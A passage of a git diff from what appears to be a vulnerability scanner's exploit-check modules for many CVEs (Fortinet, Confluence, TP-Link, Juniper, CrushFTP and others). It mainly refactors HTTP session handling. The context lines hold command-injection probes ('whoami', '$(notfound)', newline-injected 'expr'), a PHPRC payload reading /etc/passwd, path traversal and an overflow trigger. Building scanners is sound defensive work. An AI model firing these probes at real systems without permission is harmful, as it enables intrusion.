urlparse import logging -import requests +import requests from requests import exceptions as requests_exceptions -from urllib import parse as urlparse from agent.exploits import webexploit from agent import exploits_registry @@ -19,7 +19,6 @@ 12.2.1.4.0.""" RISK_RATING = "CRITICAL" -MAX_REDIRECTS = 2 DEFAULT_TIMEOUT = 90 CONTEXT_APP = ["/bicomposer", "/em"] @@ -72,11 +71,6 @@ class OracleADFExploit(webexploit.WebExploit): def accept(self, target: definitions.Target) -> bool: """Override the accept method to check for X-ORACLE-DMS-ECID in the response headers.""" - - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False - target_endpoint = urlparse.urljoin(target.origin, self.check_request.path) try: @@ -86,7 +80,7 @@ def accept(self, target: definitions.Target) -> bool: headers=self.check_request.headers, data=self.check_request.data, ).prepare() - resp = session.send(req, timeout=DEFAULT_TIMEOUT) + resp = self.session.send(req, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException as e: logging.info("Request Exception Occurred: %s", e) return False @@ -105,10 +99,6 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: Returns: List of identified vulnerabilities. """ - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False - vulnerabilities: list[definitions.Vulnerability] = [] for context in CONTEXT_APP: @@ -119,7 +109,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: url=exploit_endpoint, headers={"cmd": "whoami"}, ).prepare() - exploit_resp = session.send(exploit_req, timeout=DEFAULT_TIMEOUT) + exploit_resp = self.session.send(exploit_req, timeout=DEFAULT_TIMEOUT) if exploit_resp.status_code == 200: response_text = exploit_resp.text.lower() diff --git a/agent/exploits/cve_2022_24816.py b/agent/exploits/cve_2022_24816.py index 7d5746f4..307a48dd 100644 --- a/agent/exploits/cve_2022_24816.py +++ b/agent/exploits/cve_2022_24816.py @@ -1,7 +1,6 @@ """Agent Asteroid implementation for CVE-2022-24816.""" import platform -import requests from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin @@ -74,7 +73,7 @@ def accept(self, target: definitions.Target) -> bool: bool: True if vulnerable, False otherwise. """ try: - response = requests.get( + response = self.session.get( f"{target.origin}/geoserver", timeout=DEFAULT_TIMEOUT ) return response.status_code == 200 and "GeoServer" in response.headers.get( @@ -126,7 +125,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: headers = {"Content-Type": "application/xml"} try: - response = requests.post( + response = self.session.post( f"{target.origin}/geoserver/wms", data=payload, headers=headers, diff --git a/agent/exploits/cve_2022_26318.py b/agent/exploits/cve_2022_26318.py index 21b4aabb..4c31926b 100644 --- a/agent/exploits/cve_2022_26318.py +++ b/agent/exploits/cve_2022_26318.py @@ -2,7 +2,6 @@ import gzip -import requests from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin from requests import exceptions as requests_exceptions @@ -19,7 +18,6 @@ ) DEFAULT_TIMEOUT = 90 -MAX_REDIRECTS = 2 @exploits_registry.register @@ -29,25 +27,19 @@ class CVE202226318Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False try: - session.get(target.origin + "/agent/login", timeout=DEFAULT_TIMEOUT) + self.session.get(target.origin + "/agent/login", timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return True def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False payload = self._build_payload() headers = { "Content-Encoding": "gzip", } try: - response = session.post( + response = self.session.post( target.origin + "/agent/login", headers=headers, data=payload, diff --git a/agent/exploits/cve_2023_1389.py b/agent/exploits/cve_2023_1389.py index a57d6fcd..dd3f6d7a 100644 --- a/agent/exploits/cve_2023_1389.py +++ b/agent/exploits/cve_2023_1389.py @@ -1,6 +1,5 @@ """Agent Asteroid implementation for CVE-2023-1389""" -import requests from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin from requests import exceptions as requests_exceptions @@ -18,7 +17,6 @@ DEFAULT_TIMEOUT = 90 -MAX_REDIRECTS = 2 @exploits_registry.register @@ -26,22 +24,16 @@ class CVE20231389Exploit(definitions.Exploit): """CVE-2023-1389: Remote Code Execution in TP-Link AX21.""" def accept(self, target: definitions.Target) -> bool: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False target_uri = f"{target.origin}/cgi-bin/luci/" try: - response = session.get(target_uri, timeout=DEFAULT_TIMEOUT) + response = self.session.get(target_uri, timeout=DEFAULT_TIMEOUT) return response.status_code == 200 except requests_exceptions.RequestException: return False def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False try: - response = session.get( + response = self.session.get( target.origin + "/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(notfound)", timeout=DEFAULT_TIMEOUT, diff --git a/agent/exploits/cve_2023_22518.py b/agent/exploits/cve_2023_22518.py index 02ba4fc9..1470a39c 100644 --- a/agent/exploits/cve_2023_22518.py +++ b/agent/exploits/cve_2023_22518.py @@ -4,7 +4,6 @@ import re from urllib import parse as urlparse -import requests from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin from packaging import version @@ -39,7 +38,6 @@ (version.parse("8.4.0"), version.parse("8.4.2")), (version.parse("8.5.0"), version.parse("8.5.1")), ] -MAX_REDIRECTS = 2 @exploits_registry.register @@ -49,11 +47,8 @@ class CVE202322518Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False try: - resp = session.get( + resp = self.session.get( urlparse.urljoin(target.origin, ACCEPT_ENDPOINT), timeout=DEFAULT_TIMEOUT, ) @@ -70,15 +65,13 @@ def accept(self, target: definitions.Target) -> bool: return False def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS files = { "buildIndex": (None, "false"), "edit": (None, "Upload and import"), "file": ("ZIP_DATA", io.BytesIO(b"\x00"), "application/zip"), } try: - resp = session.post( + resp = self.session.post( urlparse.urljoin(target.origin, CHECK_ENDPOINT), files=files, # type: ignore headers=HEADERS, diff --git a/agent/exploits/cve_2023_25280.py b/agent/exploits/cve_2023_25280.py index 9e0b6a49..69c8fa84 100644 --- a/agent/exploits/cve_2023_25280.py +++ b/agent/exploits/cve_2023_25280.py @@ -4,7 +4,7 @@ import re from urllib import parse as urlparse -import requests +from requests import exceptions as requests_exceptions from agent import definitions from agent import exploits_registry @@ -42,22 +42,18 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: Returns: List of identified vulnerabilities. """ - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False - target_endpoint = urlparse.urljoin(target.origin, self.check_request.path) payload = {"ccp_act": "pingV4Msg", "ping_addr": "%0aexpr 123 \* 456 \* 789%0a"} try: - resp = session.post( + resp = self.session.post( target_endpoint, data=payload, timeout=DEFAULT_TIMEOUT, headers={"Content-Type": "application/x-www-form-urlencoded"}, ) - except requests.RequestException as e: + except requests_exceptions.RequestException as e: logging.error("HTTP Request failed: %s", e) return [] diff --git a/agent/exploits/cve_2023_27997.py b/agent/exploits/cve_2023_27997.py index 4895b2d9..b7b464a9 100644 --- a/agent/exploits/cve_2023_27997.py +++ b/agent/exploits/cve_2023_27997.py @@ -7,9 +7,9 @@ import numpy as np import requests +from requests import exceptions as requests_exceptions from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin -from requests import exceptions as requests_exceptions from scipy import stats from agent import definitions @@ -68,11 +68,10 @@ class CVE202327997Exploit(definitions.Exploit): """CVE-2021-22941: A heap-based buffer overflow vulnerability in FortiOS.""" def accept(self, target: definitions.Target) -> bool: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False try: - req = session.get(target.origin + "/remote/info", timeout=DEFAULT_TIMEOUT) + req = self.session.get( + target.origin + "/remote/info", timeout=DEFAULT_TIMEOUT + ) reg = re.compile("salt='([0-9a-f]{8})'") matches = reg.findall(req.text) except requests_exceptions.RequestException: @@ -80,11 +79,10 @@ def accept(self, target: definitions.Target) -> bool: return len(matches) == 1 def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False try: - r = session.get(target.origin + "/remote/info", timeout=DEFAULT_TIMEOUT) + r = self.session.get( + target.origin + "/remote/info", timeout=DEFAULT_TIMEOUT + ) except requests_exceptions.RequestException: return [] reg = re.compile("salt='([0-9a-f]{8})'") @@ -102,7 +100,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: for i in range(REQUESTS_PER_GROUP): try: req1 = _make_request( - session, target.origin, salt, alloc_size, alloc_size + 0xF0 + self.session, target.origin, salt, alloc_size, alloc_size + 0xF0 ) except requests_exceptions.RequestException: return [] @@ -110,7 +108,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: try: req2 = _make_request( - session, target.origin, salt, alloc_size, alloc_size // 2 + self.session, target.origin, salt, alloc_size, alloc_size // 2 ) except requests_exceptions.RequestException: return [] diff --git a/agent/exploits/cve_2023_36845.py b/agent/exploits/cve_2023_36845.py index ed0cc89d..af43b851 100644 --- a/agent/exploits/cve_2023_36845.py +++ b/agent/exploits/cve_2023_36845.py @@ -2,7 +2,6 @@ import re -import requests from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin from requests import exceptions as requests_exceptions @@ -36,7 +35,6 @@ "auto_prepend_file": (None, "/etc/passwd\n"), "PHPRC": (None, "/dev/fd/0"), } -MAX_REDIRECTS = 2 @exploits_registry.register @@ -46,22 +44,15 @@ class CVE202336845Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False try: - resp = session.get(target.url, timeout=DEFAULT_TIMEOUT) + resp = self.session.get(target.url, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return resp.status_code == 200 and JUNIPER_KEYWORD in resp.text def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False - try: - resp = session.post(target.url, files=PAYLOAD, timeout=DEFAULT_TIMEOUT) + resp = self.session.post(target.url, files=PAYLOAD, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return [] diff --git a/agent/exploits/cve_2023_43770.py b/agent/exploits/cve_2023_43770.py index 8d002e87..085db32a 100644 --- a/agent/exploits/cve_2023_43770.py +++ b/agent/exploits/cve_2023_43770.py @@ -3,11 +3,11 @@ import re from urllib import parse as urlparse +from requests import exceptions as requests_exceptions import requests from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin from packaging import version -from requests import exceptions as requests_exceptions from agent import definitions from agent import exploits_registry @@ -41,33 +41,25 @@ class CVE202343770Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False - - mail_url = self._get_mail_url(session, target) + mail_url = self._get_mail_url(self.session, target) if mail_url is None: return False try: - resp = session.get(mail_url, timeout=DEFAULT_TIMEOUT) + resp = self.session.get(mail_url, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return ROUNDCUBE_KEYWORD in resp.text def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False - vulnerabilities: list[definitions.Vulnerability] = [] - mail_url = self._get_mail_url(session, target) + mail_url = self._get_mail_url(self.session, target) if mail_url is None: return vulnerabilities try: - resp = session.get(mail_url, timeout=DEFAULT_TIMEOUT) + resp = self.session.get(mail_url, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return vulnerabilities diff --git a/agent/exploits/cve_2023_48788.py b/agent/exploits/cve_2023_48788.py index b6e7eb0b..d5cd0422 100644 --- a/agent/exploits/cve_2023_48788.py +++ b/agent/exploits/cve_2023_48788.py @@ -4,7 +4,6 @@ import ssl from urllib import parse as urlparse -import requests from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin from requests import exceptions as requests_exceptions @@ -39,7 +38,6 @@ ) DEFAULT_TIMEOUT = 30 -MAX_REDIRECTS = 2 FORTIGATE_SIGNATURE = "FortiClient Endpoint Management Server" @@ -54,11 +52,6 @@ class CVE202348788Exploit(definitions.Exploit): CVE-2023-48788: Fortinet FortiClient EMS SQL Injection Vulnerability """ - def __init__(self) -> None: - self.session = requests.Session() - self.session.max_redirects = MAX_REDIRECTS - self.session.verify = False - def accept(self, target: definitions.Target) -> bool: try: response = self.session.get(urlparse.urljoin(target.origin, "/signin")) diff --git a/agent/exploits/cve_2023_49897.py b/agent/exploits/cve_2023_49897.py index 49320140..7068f937 100644 --- a/agent/exploits/cve_2023_49897.py +++ b/agent/exploits/cve_2023_49897.py @@ -2,11 +2,10 @@ import re -import requests +from requests import exceptions as requests_exceptions from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin from packaging import version -from requests import exceptions as requests_exceptions from agent import definitions from agent import exploits_registry @@ -20,7 +19,6 @@ ) DEFAULT_TIMEOUT = 90 -MAX_REDIRECTS = 2 UPPER_VULNERABLE_VERSION = version.parse("2.0.9") HEADERS = { "Content-Type": "application/x-www-form-urlencoded", @@ -34,11 +32,6 @@ class CVE202349897Exploit(definitions.Exploit): CVE-2023-49897: FXC wireless LAN routers \"AE1021PE\" and \"AE1021\" vulnerable to OS command injection. """ - def __init__(self) -> None: - self.session = requests.Session() - self.session.max_redirects = MAX_REDIRECTS - self.session.verify = False - def accept(self, target: definitions.Target) -> bool: data = { "username_input": "admin", @@ -79,7 +72,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: if firmware_version <= UPPER_VULNERABLE_VERSION: vulnerability = self._create_vulnerability(target) return [vulnerability] - except requests.exceptions.RequestException: + except requests_exceptions.RequestException: return [] return [] diff --git a/agent/exploits/cve_2024_20419.py b/agent/exploits/cve_2024_20419.py index 2a0a924b..18fc1b7b 100644 --- a/agent/exploits/cve_2024_20419.py +++ b/agent/exploits/cve_2024_20419.py @@ -1,10 +1,11 @@ """Agent Asteroid implementation for CVE-2024-20419""" -import requests from urllib.parse import unquote import logging import urllib3 +import cloudscraper +from requests import exceptions as requests_exceptions from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin @@ -69,21 +70,23 @@ def _create_vulnerability(target: definitions.Target) -> definitions.Vulnerabili ) -def _is_endpoint_reachable(url: str) -> bool: +def _is_endpoint_reachable(session: cloudscraper.CloudScraper, url: str) -> bool: try: - response = requests.get(url, timeout=10, verify=False) + response = session.get(url, timeout=10, verify=False) response.raise_for_status() logger.debug("Reachable Check Response: %s", response.text) return REACHABLE_CHECK_TITLE in response.text - except requests.RequestException as e: + except requests_exceptions.RequestException as e: logger.error("HTTP Request failed during reachability check: %s", e) return False -def _get_auth_token(url: str, username: str) -> str | None: +def _get_auth_token( + session: cloudscraper.CloudScraper, url: str, username: str +) -> str | None: try: get_url = f"{url}/backend/settings/oauth_adfs?hostname=polar" - response = requests.get(get_url, verify=False, timeout=10) + response = session.get(get_url, timeout=10) headers_dict = dict(response.headers) xsrf_token = _get_cookie_value(headers_dict, "XSRF-TOKEN") lic_engine_session = _get_cookie_value(headers_dict, "_lic_engine_session") @@ -106,12 +109,11 @@ def _get_auth_token(url: str, username: str) -> str | None: "XSRF-TOKEN": xsrf_token, } payload = {"uid": username} - post_response = requests.post( + post_response = session.post( post_url, headers=headers, cookies=cookies, json=payload, - verify=False, timeout=60, ) @@ -132,7 +134,7 @@ def _get_auth_token(url: str, username: str) -> str | None: "POST Request failed with status code: %d", post_response.status_code ) return None - except requests.RequestException as e: + except requests_exceptions.RequestException as e: logger.error("HTTP Request failed during auth token retrieval: %s", e) return None @@ -140,11 +142,11 @@ def _get_auth_token(url: str, username: str) -> str | None: @exploits_registry.register class CVE202420419Exploit(definitions.Exploit): def accept(self, target: definitions.Target) -> bool: - return _is_endpoint_reachable(target.origin) + return _is_endpoint_reachable(self.session, target.origin) def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: vulnerabilities = [] - auth_token = _get_auth_token(target.origin, "admin") + auth_token = _get_auth_token(self.session, target.origin, "admin") if auth_token is not None: vulnerabilities.append(_create_vulnerability(target)) diff --git a/agent/exploits/cve_2024_21733.py b/agent/exploits/cve_2024_21733.py index 03c6e66d..97298d2b 100644 --- a/agent/exploits/cve_2024_21733.py +++ b/agent/exploits/cve_2024_21733.py @@ -3,7 +3,6 @@ import re from urllib import parse as urlparse -import requests from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin from packaging import version @@ -46,12 +45,9 @@ class CVE202421733Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False for endpoint in ACCEPT_ENDPOINTS: try: - resp = session.get( + resp = self.session.get( urlparse.urljoin(target.origin, endpoint), timeout=DEFAULT_TIMEOUT, ) @@ -62,12 +58,9 @@ def accept(self, target: definitions.Target) -> bool: return False def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False for endpoint in CHECK_ENDPOINTS: try: - resp = session.get( + resp = self.session.get( urlparse.urljoin(target.origin, endpoint), timeout=DEFAULT_TIMEOUT, ) diff --git a/agent/exploits/cve_2024_21762.py b/agent/exploits/cve_2024_21762.py index 3723ff62..fbb04c60 100644 --- a/agent/exploits/cve_2024_21762.py +++ b/agent/exploits/cve_2024_21762.py @@ -25,7 +25,6 @@ ) DEFAULT_TIMEOUT = 30 -MAX_REDIRECTS = 2 FORTIGATE_SIGNATURE = b"/remote/login" diff --git a/agent/exploits/cve_2024_23113.py b/agent/exploits/cve_2024_23113.py index 87f18ad5..9630fe6e 100644 --- a/agent/exploits/cve_2024_23113.py +++ b/agent/exploits/cve_2024_23113.py @@ -5,7 +5,8 @@ import re import socket -import requests +import cloudscraper +from requests import exceptions as requests_exceptions from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin from pysnmp import hlapi # type: ignore @@ -138,9 +139,11 @@ def _get_fortinet_version_snmp(host: str) -> tuple[str, tuple[int, int, int]] | return None -def _get_fortinet_version_http(host: str) -> tuple[str, tuple[int, int, int]] | None: +def _get_fortinet_version_http( + session: cloudscraper.CloudScraper, host: str +) -> tuple[str, tuple[int, int, int]] | None: try: - response = requests.get( + response = session.get( f"https://{host}", verify=False, timeout=DEFAULT_TIMEOUT.seconds ) content = response.text @@ -161,7 +164,7 @@ def _get_fortinet_version_http(host: str) -> tuple[str, tuple[int, int, int]] | version = tuple(version_parts + [0] * (3 - len(version_parts))) return "FortiPAM", version # type: ignore - except requests.RequestException: + except requests_exceptions.RequestException: logging.error("Failed to connect to %s via HTTPS", host) return None @@ -183,9 +186,11 @@ def _get_fortinet_version_tcp(host: str) -> tuple[str, tuple[int, int, int]] | N return None -def _get_fortinet_version(host: str) -> tuple[str, tuple[int, int, int]] | None: +def _get_fortinet_version( + session: cloudscraper.CloudScraper, host: str +) -> tuple[str, tuple[int, int, int]] | None: # Try HTTP First - result = _get_fortinet_version_http(host) + result = _get_fortinet_version_http(session, host) if result is not None: return result @@ -244,7 +249,7 @@ class CVE202423113Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: - result = _get_fortinet_version(target.host) + result = _get_fortinet_version(self.session, target.host) if result is not None: product, version = result return version in VULNERABLE_VERSIONS.get(product, []) @@ -252,7 +257,7 @@ def accept(self, target: definitions.Target) -> bool: def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: vulnerabilities: list[definitions.Vulnerability] = [] - result = _get_fortinet_version(target.host) + result = _get_fortinet_version(self.session, target.host) if result is not None: product, version = result diff --git a/agent/exploits/cve_2024_23334.py b/agent/exploits/cve_2024_23334.py index 89ab0b49..dc9e42b6 100644 --- a/agent/exploits/cve_2024_23334.py +++ b/agent/exploits/cve_2024_23334.py @@ -1,9 +1,9 @@ """Agent Asteroid implementation for CVE-2024-23334""" -import requests from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin from requests import exceptions as requests_exceptions +import requests from agent import definitions from agent import exploits_registry @@ -21,7 +21,6 @@ ) DEFAULT_TIMEOUT = 30 -MAX_REDIRECTS = 2 AIOHTTP_KEYWORD = "aiohttp/" HOSTS_INDICATOR = "127.0.0.1" @@ -36,11 +35,8 @@ class CVE202423334Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False try: - resp = session.get( + resp = self.session.get( target.origin, timeout=DEFAULT_TIMEOUT, ) @@ -50,9 +46,6 @@ def accept(self, target: definitions.Target) -> bool: return AIOHTTP_KEYWORD in resp.headers.get("Server", "") def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False req = requests.Request(method="GET", url=target.origin).prepare() for level in range(1, DEPTH + 1): @@ -60,7 +53,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: try: target_endpoint = target.origin + "/static" + "/.." * level + path req.url = target_endpoint - response = session.send(req, timeout=DEFAULT_TIMEOUT) + response = self.session.send(req, timeout=DEFAULT_TIMEOUT) if HOSTS_INDICATOR in response.text: vulnerability = self._create_vulnerability(target) return [vulnerability] diff --git a/agent/exploits/cve_2024_28986.py b/agent/exploits/cve_2024_28986.py index 7582a1c0..61a5be8f 100644 --- a/agent/exploits/cve_2024_28986.py +++ b/agent/exploits/cve_2024_28986.py @@ -1,9 +1,10 @@ """Agent Asteroid implementation for CVE-2024-28986""" import re -import requests from urllib import parse as urlparse +from requests import exceptions as requests_exceptions + from agent import definitions from agent.exploits import webexploit from agent import exploits_registry @@ -56,10 +57,10 @@ def accept(self, target: definitions.Target) -> bool: """Check if the target matches the accept pattern.""" target_endpoint = urlparse.urljoin(target.origin, self.accept_request.path) try: - response = requests.get(target_endpoint, timeout=DEFAULT_TIMEOUT) + response = self.session.get(target_endpoint, timeout=DEFAULT_TIMEOUT) response.raise_for_status() return any(pattern.search(response.text) for pattern in self.accept_pattern) - except requests.RequestException: + except requests_exceptions.RequestException: return False def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: @@ -68,9 +69,9 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: target_endpoint = urlparse.urljoin(target.origin, self.check_request.path) try: - response = requests.get(target_endpoint, timeout=DEFAULT_TIMEOUT) + response = self.session.get(target_endpoint, timeout=DEFAULT_TIMEOUT) response.raise_for_status() - except requests.RequestException: + except requests_exceptions.RequestException: return vulnerabilities version_match = VERSION_PATTERN.search(response.text) diff --git a/agent/exploits/cve_2024_4040.py b/agent/exploits/cve_2024_4040.py index a59b78a2..f9a3bc48 100644 --- a/agent/exploits/cve_2024_4040.py +++ b/agent/exploits/cve_2024_4040.py @@ -93,11 +93,7 @@ def _create_vulnerability( return vulnerability def _login_anonymous(self, target: str) -> None: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False - - r = session.get(target + "WebInterface/", timeout=DEFAULT_TIMEOUT) + r = self.session.get(target + "WebInterface/", timeout=DEFAULT_TIMEOUT) c = r.cookies.get_dict() if "CrushAuth" not in c: raise requests_exceptions.RequestException @@ -113,9 +109,6 @@ def _prepare_headers(self) -> dict[str, str]: return h def _prepare_request(self, target: str) -> requests.Response: - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False h = self._prepare_headers() current_auth = self.token[-4:] if len(self.token) >= 4 else "" data = { @@ -125,7 +118,7 @@ def _prepare_request(self, target: str) -> requests.Response: } if current_auth != "": data["c2f"] = current_auth - r = session.post( + r = self.session.post( target + "WebInterface/function/", timeout=DEFAULT_TIMEOUT, headers=h, diff --git a/agent/exploits/cve_2024_40711.py b/agent/exploits/cve_2024_40711.py index 0213040e..a6ccb613 100644 --- a/agent/exploits/cve_2024_40711.py +++ b/agent/exploits/cve_2024_40711.py @@ -19,7 +19,6 @@ RISK_RATING = "CRITICAL" MAX_VULNERABLE_VERSION = version.parse("12.1.2.172") -MAX_REDIRECTS = 2 DEFAULT_TIMEOUT = 90 @@ -46,10 +45,6 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: Returns: List of identified vulnerabilities. """ - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False - vulnerabilities: list[definitions.Vulnerability] = [] target_endpoint = urlparse.urljoin(target.origin, self.check_request.path) @@ -61,7 +56,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: headers=self.check_request.headers, data=self.check_request.data, ).prepare() - resp = session.send(req, timeout=DEFAULT_TIMEOUT) + resp = self.session.send(req, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException as e: logging.info("Request Exception Occured: %s", e) return vulnerabilities diff --git a/agent/exploits/cve_2024_40725.py b/agent/exploits/cve_2024_40725.py index cff6ce56..41152911 100644 --- a/agent/exploits/cve_2024_40725.py +++ b/agent/exploits/cve_2024_40725.py @@ -4,8 +4,9 @@ import re import logging +from requests import exceptions as requests_exceptions import semantic_version -import requests +import cloudscraper import pathlib from pygments import highlight from pygments import lexers @@ -34,7 +35,7 @@ logger = logging.getLogger(__name__) -def _get_server_version(url: str) -> str | None: +def _get_server_version(session: cloudscraper.CloudScraper, url: str) -> str | None: """Gets the server version from the given URL. Args: @@ -44,14 +45,14 @@ def _get_server_version(url: str) -> str | None: The server version string if found, else None. """ try: - response = requests.head(url, verify=False) + response = session.head(url, verify=False) server_header = response.headers.get("Server", "") if "Apache" in server_header: version_match = re.search(r"Apache/(\d+\.\d+\.\d+)", server_header) if version_match is not None: return version_match.group(1) return None - except requests.RequestException as e: + except requests_exceptions.RequestException as e: logger.error("Error retrieving server version: %s", e) return None @@ -114,7 +115,9 @@ def _contains_code_content(content: str) -> bool: return False -def _check_files(url: str, filenames: list[str]) -> bool: +def _check_files( + session: cloudscraper.CloudScraper, url: str, filenames: list[str] +) -> bool: """Checks the given files for source code disclosure. Args: @@ -127,19 +130,19 @@ def _check_files(url: str, filenames: list[str]) -> bool: for filename in filenames: file_url = url + filename try: - response = requests.get(file_url, verify=False) + response = session.get(file_url, verify=False) if ( any(file_url.endswith(ext) for ext in EXTENSIONS) is True and _contains_code_content(response.text) is True ): return True - except requests.HTTPError as e: + except requests_exceptions.HTTPError as e: logger.error("HTTP error checking file %s: %s", filename, e) - except requests.ConnectionError as e: + except requests_exceptions.ConnectionError as e: logger.error("Connection error checking file %s: %s", filename, e) - except requests.Timeout as e: + except requests_exceptions.Timeout as e: logger.error("Timeout error checking file %s: %s", filename, e) - except requests.RequestException as e: + except requests_exceptions.RequestException as e: logger.error("Request error checking file %s: %s", filename, e) return False @@ -193,7 +196,7 @@ def accept(self, target: definitions.Target) -> bool: Returns: True if the target is running a vulnerable version, else False. """ - version = _get_server_version(target.origin) + version = _get_server_version(self.session, target.origin) if version is not None: logger.info("Server version detected: Apache/%s", version) return _is_version_vulnerable(version) @@ -216,7 +219,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: return [] vulnerabilities = [] - if _check_files(target.origin, filenames) is True: + if _check_files(self.session, target.origin, filenames) is True: vulnerability = _create_vulnerability(target) vulnerabilities.append(vulnerability) else: diff --git a/agent/exploits/cve_2024_43044.py b/agent/exploits/cve_2024_43044.py index 67ae5790..781554d1 100644 --- a/agent/exploits/cve_2024_43044.py +++ b/agent/exploits/cve_2024_43044.py @@ -2,10 +2,11 @@ import re from packaging import version -from requests import exceptions as requests_exceptions -import requests from urllib import parse as urlparse +import requests +from requests import exceptions as requests_exceptions + from agent.exploits import webexploit from agent import exploits_registry from agent import definitions @@ -44,10 +45,6 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: Returns: List of identified vulnerabilities. """ - session = requests.Session() - session.max_redirects = MAX_REDIRECTS - session.verify = False - vulnerabilities: list[definitions.Vulnerability] = [] target_endpoint = urlparse.urljoin(target.origin, self.check_request.path) @@ -61,7 +58,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: if self.check_request.headers is not None: self.check_request.headers.update(req.headers) req.headers = self.check_request.headers # type: ignore - resp = session.send(req, timeout=DEFAULT_TIMEOUT) + resp = self.session.send(req, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return vulnerabilities diff --git a/agent/exploits/cve_2024_6745.py b/agent/exploits/cve_2024_6745.py index 03a3c7dc..ebe5cb3f 100644 --- a/agent/exploits/cve_2024_6745.py +++ b/agent/exploits/cve_2024_6745.py @@ -1,12 +1,11 @@ """Agent Asteroid implementation for CVE-2024-6745.""" -import requests - from agent import definitions from agent import exploits_registry from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin +from requests import exceptions as requests_exceptions VULNERABILITY_TITLE = "SQL Injection in Simple Ticket Booking" VULNERABILITY_REFERENCE = "CVE-2024-6745" @@ -77,7 +76,7 @@ def accept(self, target: definitions.Target) -> bool: Checks if the target is the Simple Ticket Booking App. """ try: - response = requests.post( + response = self.session.post( f"{target.origin}/adminauthenticate.php", timeout=DEFAULT_TIMEOUT ) if ( @@ -86,7 +85,7 @@ def accept(self, target: definitions.Target) -> bool: ): return True return False - except requests.RequestException: + except requests_exceptions.RequestException: return False def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: @@ -97,7 +96,7 @@ def 